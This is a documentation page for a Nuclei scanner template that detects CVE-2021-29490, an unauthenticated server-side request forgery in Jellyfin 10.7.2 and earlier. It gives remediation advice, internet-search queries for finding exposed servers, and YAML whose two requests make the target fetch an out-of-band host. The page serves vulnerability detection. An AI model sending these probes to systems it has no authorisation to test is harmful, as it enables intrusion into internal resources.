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Jellyfin 10.7.2 - Server Side Request Forgery

ID: CVE-2021-29490

Severity: medium

Author: alph4byt3

Tags: cve,cve2021,ssrf,jellyfin,oast

Description

Section titled “Description”

Jellyfin is a free software media system. Versions 10.7.2 and below are vulnerable to unauthenticated Server-Side Request Forgery (SSRF) attacks via the imageUrl parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2021-29490


info:
  name: Jellyfin 10.7.2 - Server Side Request Forgery
  author: alph4byt3
  severity: medium
  description: |
    Jellyfin is a free software media system. Versions 10.7.2 and below are vulnerable to unauthenticated Server-Side Request Forgery (SSRF) attacks via the imageUrl parameter.
  impact: |
    This vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further exploitation of the target system.
  remediation: Upgrade to version 10.7.3 or newer. As a workaround, disable external access to the API endpoints "/Items/*/RemoteImages/Download", "/Items/RemoteSearch/Image" and "/Images/Remote".
  reference:
    - https://github.com/jellyfin/jellyfin/security/advisories/GHSA-rgjw-4fwc-9v96
    - https://nvd.nist.gov/vuln/detail/CVE-2021-29490
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/HimmelAward/Goby_POC
    - https://github.com/Threekiii/Awesome-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
    cvss-score: 5.8
    cve-id: CVE-2021-29490
    cwe-id: CWE-918
    epss-score: 0.00159
    epss-percentile: 0.52336
    cpe: cpe:2.3:a:jellyfin:jellyfin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: jellyfin
    product: jellyfin
    shodan-query: http.title:"Jellyfin"
    fofa-query: body="jellyfin"
    google-query: intitle:"jellyfin"
  tags: cve,cve2021,ssrf,jellyfin,oast


http:
  - method: GET
    path:
      - "{{BaseURL}}/Images/Remote?imageUrl=https://oast.me/"
      - "{{BaseURL}}/Items/RemoteSearch/Image?ImageUrl=https://oast.me/&ProviderName=TheMovieDB"


    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - "<h1> Interactsh Server </h1>"
# digest: 4b0a00483046022100d55f31178f050191180ee570c22d17c27052b3d2c5040599718dc22f653f0a7b022100f5a4553515c5579da87c1132d7bdb2f3befbe0f2cd4ae095314f7f0068d546cf:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-29490.yaml"

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